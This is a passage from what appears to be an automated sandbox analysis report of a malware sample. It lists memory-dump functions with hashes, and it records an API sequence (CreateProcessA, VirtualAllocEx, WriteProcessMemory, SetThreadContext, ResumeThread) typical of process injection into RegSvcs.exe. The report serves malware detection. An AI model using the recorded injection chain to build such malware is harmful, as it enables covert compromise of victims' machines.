Instruction ID: b049fe152c93cf39a1e37d94986f5395220c63e4c0a2b5301a3155efd508f22e
Opcode Fuzzy Hash: 6ab0eb6d28629665b7b3e854ea17ff5e6cce22bb488cba46a86ab09a80f50bf8
Instruction Fuzzy Hash: B0018432B1001547DF54A968DC54BFFB6BBEBC5211F04853AD906E7344EE719C065B91

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA3C2 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97d88a920579b5c956558f02de13ffa35280fd5089479389a6e9900a32ee50ea
Instruction ID: ac939d4d8c349bd3991d46ebdfaa41ad75c4600e0c7be0982fa9143a60e099e5
Opcode Fuzzy Hash: 97d88a920579b5c956558f02de13ffa35280fd5089479389a6e9900a32ee50ea
Instruction Fuzzy Hash: E901D4347002500FDB619B7CD458B3AB7E6FB8A710F11883AE50ADB355EE22DC068791

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3D40 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1afa00461e4310ad61409d88e679cdfcfef0a86114d7c0eaba2bf261946a095
Instruction ID: fe96b188384a0291b5d2edbdb7d392299b454b3e40545578781649d69806b787
Opcode Fuzzy Hash: f1afa00461e4310ad61409d88e679cdfcfef0a86114d7c0eaba2bf261946a095
Instruction Fuzzy Hash: 3111CFB1D01259AFCB00CF9AD884ACEFBB4FB49720F10852AE918A7340C374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DD42C8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80bc0a4ee211bf892269284cde177a64515e214cceb4bbb71e9faffcfa645a65
Instruction ID: a8130097a56df24ffb6200bfa65c135907d2e3782f94b2ca08a6fb8d367ec4a6
Opcode Fuzzy Hash: 80bc0a4ee211bf892269284cde177a64515e214cceb4bbb71e9faffcfa645a65
Instruction Fuzzy Hash: 75016D357000114BEF2499AD9459B6FE6DBEBCA710F24883AE50ACB344EEB5DC0287A1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF258 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e51870ef69bab6d49613b1c204515f4912db63ff2c7e0be52b8a6bbd09f20e
Instruction ID: aff16477edacfbf0c5a1f357799f16c624aeb28c0d004c23c1a8f67b3e442584
Opcode Fuzzy Hash: 37e51870ef69bab6d49613b1c204515f4912db63ff2c7e0be52b8a6bbd09f20e
Instruction Fuzzy Hash: 28018139B001121BDB259AAC9460B3FA7D7E7C9724F10883BE10BC7340EE25DC4287E1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA3D0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099a968a306e2ad860ae725a92cf92a86cd005bfc3794b1152e8097e89699ed6
Instruction ID: 21d516e8a941fa9bc937887128e4e08e5e5ad4c67b5fb5ef0790e1c13cccb3b6
Opcode Fuzzy Hash: 099a968a306e2ad860ae725a92cf92a86cd005bfc3794b1152e8097e89699ed6
Instruction Fuzzy Hash: A1016D347001114BDB60EA6CD458F3AB7D6F78A720F10882AE50EDB754EE21EC064B91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD8390 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe0736dc8831ae8468f7967cc06e9ae170aef4768e9ca05c0c10866466c78ca
Instruction ID: e96a9b70a4aab11885740f81bfc8b2066635fe4b0471128dd657bb803b4487b3
Opcode Fuzzy Hash: abe0736dc8831ae8468f7967cc06e9ae170aef4768e9ca05c0c10866466c78ca
Instruction Fuzzy Hash: C1F0AF317042418BDF269A58E990ABDF762FB51311F204427D80AD7255D631E90AE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD6530 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c209fa156f2cb083167951d6ff5b0758ac975e0592e19dd56e08a6f15da595
Instruction ID: 4c688ec220595427dc246261a9a714e32298763d554b3ab7b63cab47b577ea68
Opcode Fuzzy Hash: 44c209fa156f2cb083167951d6ff5b0758ac975e0592e19dd56e08a6f15da595
Instruction Fuzzy Hash: 66E0D871A00108A7DF10CEA4C94976EB7AEEB01304F2184A5D405DB204F537DA8183E1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ECXXCuFHUVw.exePID: 2136, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	207
Total number of Limit Nodes:	7

Executed Functions

Function 0157D0A8 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0157D136
GetCurrentThread.KERNEL32 ref: 0157D173
GetCurrentProcess.KERNEL32 ref: 0157D1B0
GetCurrentThreadId.KERNEL32 ref: 0157D209

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 78ac036379bacd8712f2ceed7749c6f75ba501be852e3dd8c784b96f5a3ae7a9
Instruction ID: be66f105d9de0bd0e7a84e2291cae1accbaf2f452e0c628a4da4afd963b3b363
Opcode Fuzzy Hash: 78ac036379bacd8712f2ceed7749c6f75ba501be852e3dd8c784b96f5a3ae7a9
Instruction Fuzzy Hash: A65155B0901349CFEB54CFAAE548BAEBBF1BF89310F24845AD509AB360D7345984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0157D0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0157D136
GetCurrentThread.KERNEL32 ref: 0157D173
GetCurrentProcess.KERNEL32 ref: 0157D1B0
GetCurrentThreadId.KERNEL32 ref: 0157D209

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 73a1b63ff91699f0be658b9a5bac67ebd523175eb2a228331fb7d0a8d87b6a46
Instruction ID: 952442a10f8607d1e992a001dbd79cf3cf46dbb6eb4855d905253e53f44eac66
Opcode Fuzzy Hash: 73a1b63ff91699f0be658b9a5bac67ebd523175eb2a228331fb7d0a8d87b6a46
Instruction Fuzzy Hash: 935146B0900709CFEB54DFAAE548B9EBBF1FF88310F24845AD509AB360D7349984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 077F96F4 Relevance: 1.8, APIs: 1, Instructions: 260
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 077F9936

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ce8a47f9f22ee61cef048a99d9f1ba080eb445a2419871dc1107707f332b1f92
Instruction ID: b1b177aac01bc133577403e9ba83b3bc93568579994788b591aad1a9a6f0d84d
Opcode Fuzzy Hash: ce8a47f9f22ee61cef048a99d9f1ba080eb445a2419871dc1107707f332b1f92
Instruction Fuzzy Hash: B0A149B1D0021ACBDB24CF69C9417EDBBB2AB44310F148569DA18E6340D775A985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 077F9700 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 077F9936

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9616535e0f1de764e02a3381e605f10a029d6e0f11134ad9b31f2f1dbddb66d7
Instruction ID: bee58b7580d10e9f693257ef6a14ab362051d4f0b1d7e25ad9bb253c756525f1
Opcode Fuzzy Hash: 9616535e0f1de764e02a3381e605f10a029d6e0f11134ad9b31f2f1dbddb66d7
Instruction Fuzzy Hash: 8D914BB1D0021ADFEB14CF69C9417EDBAB2BF48310F1485A9EA48E7340D775A985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0157AE30 Relevance: 1.7, APIs: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0157B086

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e17dd5573f63395a0a0eb9deca04528eb0dd8405a820a399233459ad4b6d8fd1
Instruction ID: 522510019b139cc0fc4726264db19222f8cb073880d65911ad6cc36392a9d09a
Opcode Fuzzy Hash: e17dd5573f63395a0a0eb9deca04528eb0dd8405a820a399233459ad4b6d8fd1
Instruction Fuzzy Hash: B48147B0A00B058FDB24DF2AE04575EBBF1FF88204F04892ED55ADBA51D735E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0157449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 015759C9

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 062c4a37cb10895e0c15d0e4a594c037cc0a9f5057d66eae662ce864dc96b6e1
Instruction ID: 130a62a5e258f764d62757b2962d5aa76209a9cc83539d5a4f170a099e21a78e
Opcode Fuzzy Hash: 062c4a37cb10895e0c15d0e4a594c037cc0a9f5057d66eae662ce864dc96b6e1
Instruction Fuzzy Hash: 0F410170C1071DCBEB24DFA9C885B8DBBF1BF49304F20806AD508AB255DBB16945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0157590C Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 015759C9

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5dfce20f60e0ab6864ca35d1f071131bf82c45281559123cb5bc1d951c74f4ae
Instruction ID: 4dbf2fa630a55d717523093b5ac101d8d18f3347825992129ab94774326e097b
Opcode Fuzzy Hash: 5dfce20f60e0ab6864ca35d1f071131bf82c45281559123cb5bc1d951c74f4ae
Instruction Fuzzy Hash: A8410FB0C0071DCBEB24DFA9C885B8DBBF1BF89304F20806AD518AB255DBB56945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 077F9473 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 077F9508

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 568ced23183ac604218a261b4ce8ed7788c8fd6761579f3cd622cdd4e49f7f2c
Instruction ID: c4bef7dbe5c27e420082fbf97ee9a5f3ba9e8029ff0a5bf88d502ad267aa3ac7
Opcode Fuzzy Hash: 568ced23183ac604218a261b4ce8ed7788c8fd6761579f3cd622cdd4e49f7f2c
Instruction Fuzzy Hash: 4C2137B5900319DFDB00CFA9C9817EEBBF5BF48310F10882AE619A7250D7789544CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 077F9478 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 077F9508

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9a73359301ef7baa4687eebe47b141bd3b2e9981cae4594fba09a72d51b8d34a
Instruction ID: bc7e151be83686cbcf3714a2fc504501778b1f405e771a7d7ed920a525969d25
Opcode Fuzzy Hash: 9a73359301ef7baa4687eebe47b141bd3b2e9981cae4594fba09a72d51b8d34a
Instruction Fuzzy Hash: BB2117B19003599FDB10CFA9C985BDEBBF5FF48310F108429E619A7240D7789544CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0157D2F8 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0157D387

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4099058fb1d453206e447ae29d3a2ee514748602a9e60b53440190b43346ff96
Instruction ID: 10c6d0d6d40b8463e7a601ec9afb40fa0b2d0d4e4f4cee4607b90af564054cd6
Opcode Fuzzy Hash: 4099058fb1d453206e447ae29d3a2ee514748602a9e60b53440190b43346ff96
Instruction Fuzzy Hash: 292157B5800389DFDB10CFA9E584BDEBFF4AF49320F14805AE954A7251C338A950CF61

Uniqueness

Uniqueness Score: -1.00%

Function 077F9560 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 077F95E8

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: d3f0f02ab66e315ec89473336dd1ca90d79b76386e122ea4210687f14369935c
Instruction ID: b9f52153ef0a9a827393f93ff522a0a88ca28fdd720db2196cff5bee8c0abc4f
Opcode Fuzzy Hash: d3f0f02ab66e315ec89473336dd1ca90d79b76386e122ea4210687f14369935c
Instruction Fuzzy Hash: F42105B5900359DFDB10CFA9C981BEEBBF5BF48310F14842AE619A7240C7399905DF65

Uniqueness

Uniqueness Score: -1.00%

Function 077F92D8 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 077F935E

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7ff2570fa087ba4beb202a70b2a09041836e649009c20e6dde8e852e154a62ed
Instruction ID: 01baf91566971f07e0b5026b782424bacad2880b188606fc560cc00ebaf820ae
Opcode Fuzzy Hash: 7ff2570fa087ba4beb202a70b2a09041836e649009c20e6dde8e852e154a62ed
Instruction Fuzzy Hash: 5B215CB1D003099FDB10CFA9C585BAEBBF4AF48350F148429D619A7340C738A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077F9568 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 077F95E8

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 5a131f411b2dfc810b0d238a321208d11be94c6c474fac8704a78a2c0ae0024a
Instruction ID: e5610ad09f04339c6a6ab05a9db92885420f9437ead557985cc8d2411be42648
Opcode Fuzzy Hash: 5a131f411b2dfc810b0d238a321208d11be94c6c474fac8704a78a2c0ae0024a
Instruction Fuzzy Hash: B021F8B19003599FDB10DFAAC981BDEBBF5FF48310F108429E619A7240D7799544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 077F92E0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 077F935E

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f82867bd85bfe4122d4695fa5d92dee490f2ef461926d82e993928221c2b82b7
Instruction ID: abccbbec72f2789cc3bba98dd8114f296dd58ab3c2d887f7e4037482a8e4f75a
Opcode Fuzzy Hash: f82867bd85bfe4122d4695fa5d92dee490f2ef461926d82e993928221c2b82b7
Instruction Fuzzy Hash: 6E2149B19003099FDB10CFAAC585BEEBBF4EF88310F148429D619A7340C778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0157D300 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0157D387

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 045f6fdf15f42edf4d9372427c1404a7560fc08e95db64acc599b526ad353b38
Instruction ID: ca34434a603412c8b58f23298b5c76b245bb2d630dc38d7efdcabbd7ff6a880c
Opcode Fuzzy Hash: 045f6fdf15f42edf4d9372427c1404a7560fc08e95db64acc599b526ad353b38
Instruction Fuzzy Hash: DE21C4B5900249DFDB10CFAAD985ADEBBF8FF48310F14841AE918A7350D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077F93B0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 077F9426

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fd977577ec75811477bfeb54cb63979dfc69b273a4b52d00988571c4f8f23439
Instruction ID: 9debb2305fb1c38bdf1c9bfc844a472ca0f70d0480f84b9fd1ff8f16156ad07a
Opcode Fuzzy Hash: fd977577ec75811477bfeb54cb63979dfc69b273a4b52d00988571c4f8f23439
Instruction Fuzzy Hash: 8F1144B69002499FDF10DFA9C945BEEBBF5AF88310F248819E619A7250C739A500CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0157A870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0157B101,00000800,00000000,00000000), ref: 0157B312

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 444cfb16b68c0b4c8f5900eccbcc498915b332c159a0137edbfbb5b12eaa3d52
Instruction ID: e33df8ff23eff1820efeb010464117ffc8d706e7bf8dea64d8d319d8b9553937
Opcode Fuzzy Hash: 444cfb16b68c0b4c8f5900eccbcc498915b332c159a0137edbfbb5b12eaa3d52
Instruction Fuzzy Hash: 3A11D3B69003499FDB10CF9AD445A9EFBF4EB48710F10842AD919AB200C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0157B2A1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0157B101,00000800,00000000,00000000), ref: 0157B312

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0c1a67ae9106de97373f4f478c9f2d023f1f375e9c5f089a089ae3f7cbfd8a2e
Instruction ID: d18e40ff819bc7e06bc2f626473b8d3c287154c14ed7e3327864a1fa81d31e39
Opcode Fuzzy Hash: 0c1a67ae9106de97373f4f478c9f2d023f1f375e9c5f089a089ae3f7cbfd8a2e
Instruction Fuzzy Hash: 4A1112B6900349CFDB10CFAAD844ADEFBF4AF88310F14842AD919AB300C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077F93B8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 077F9426

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 72bd45420c9eb027c69241fca49c8e36807bbff4e9137b8bc422597a93db674d
Instruction ID: e476051c9cd074641cc7d2828385a4e01a9dbffcf8317a7eab2746d31ced0207
Opcode Fuzzy Hash: 72bd45420c9eb027c69241fca49c8e36807bbff4e9137b8bc422597a93db674d
Instruction Fuzzy Hash: 371126719003499FDF10DFAAC845BEFBBF5AF88710F148819E615A7250C779A540CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077F8DF1 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 077F8E5A

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d3aa1877ff62dd4d0936ba38a4294ae41318792b958900ebbe8a15b842638822
Instruction ID: ba60eac7b1c37663571b2b1eaf7b0b713fda688737bff919fe6cb8df3e30f0e7
Opcode Fuzzy Hash: d3aa1877ff62dd4d0936ba38a4294ae41318792b958900ebbe8a15b842638822
Instruction Fuzzy Hash: 8F1158B19003498FDB20DFAAD4457DEBBF4EF88720F148829D519A7340C739A940CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 077FB39F Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 077FD23D

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4d9781ba86cc8f4031e29b284d9923da8dfbd4c9970a0aa42dcc16ffa2dd2f27
Instruction ID: 92bb6e919fed8c266086958d206f574786325cc0af83facebc9085ff01884ce0
Opcode Fuzzy Hash: 4d9781ba86cc8f4031e29b284d9923da8dfbd4c9970a0aa42dcc16ffa2dd2f27
Instruction Fuzzy Hash: 5B1146B1800348DFCB20DFAAC984BDEBBF4EB48310F108459D614A7700C374A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 077F8DF8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 077F8E5A

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2c779bb3acd9cfe7fbf79dc9e1ba88f2293944d16e66eb581ffbb6117dc27b3f
Instruction ID: 10f9dd848f56d19325c9b855f16d129d1cc9909a54cd84e2016c7e245b54b284
Opcode Fuzzy Hash: 2c779bb3acd9cfe7fbf79dc9e1ba88f2293944d16e66eb581ffbb6117dc27b3f
Instruction Fuzzy Hash: C9113AB19003498FDB10DFAAC44579FFBF5AF88710F148829D519A7340C779A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 077FB420 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 077FD23D

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 0bdd1287cd3dd16f7c73d7e11d6da5ceb827ce43003c48798984e289821d47e9
Instruction ID: 899ee707b37e4f50e3bca61b29e96a404c8568693c662892c98f0ce651dbe6de
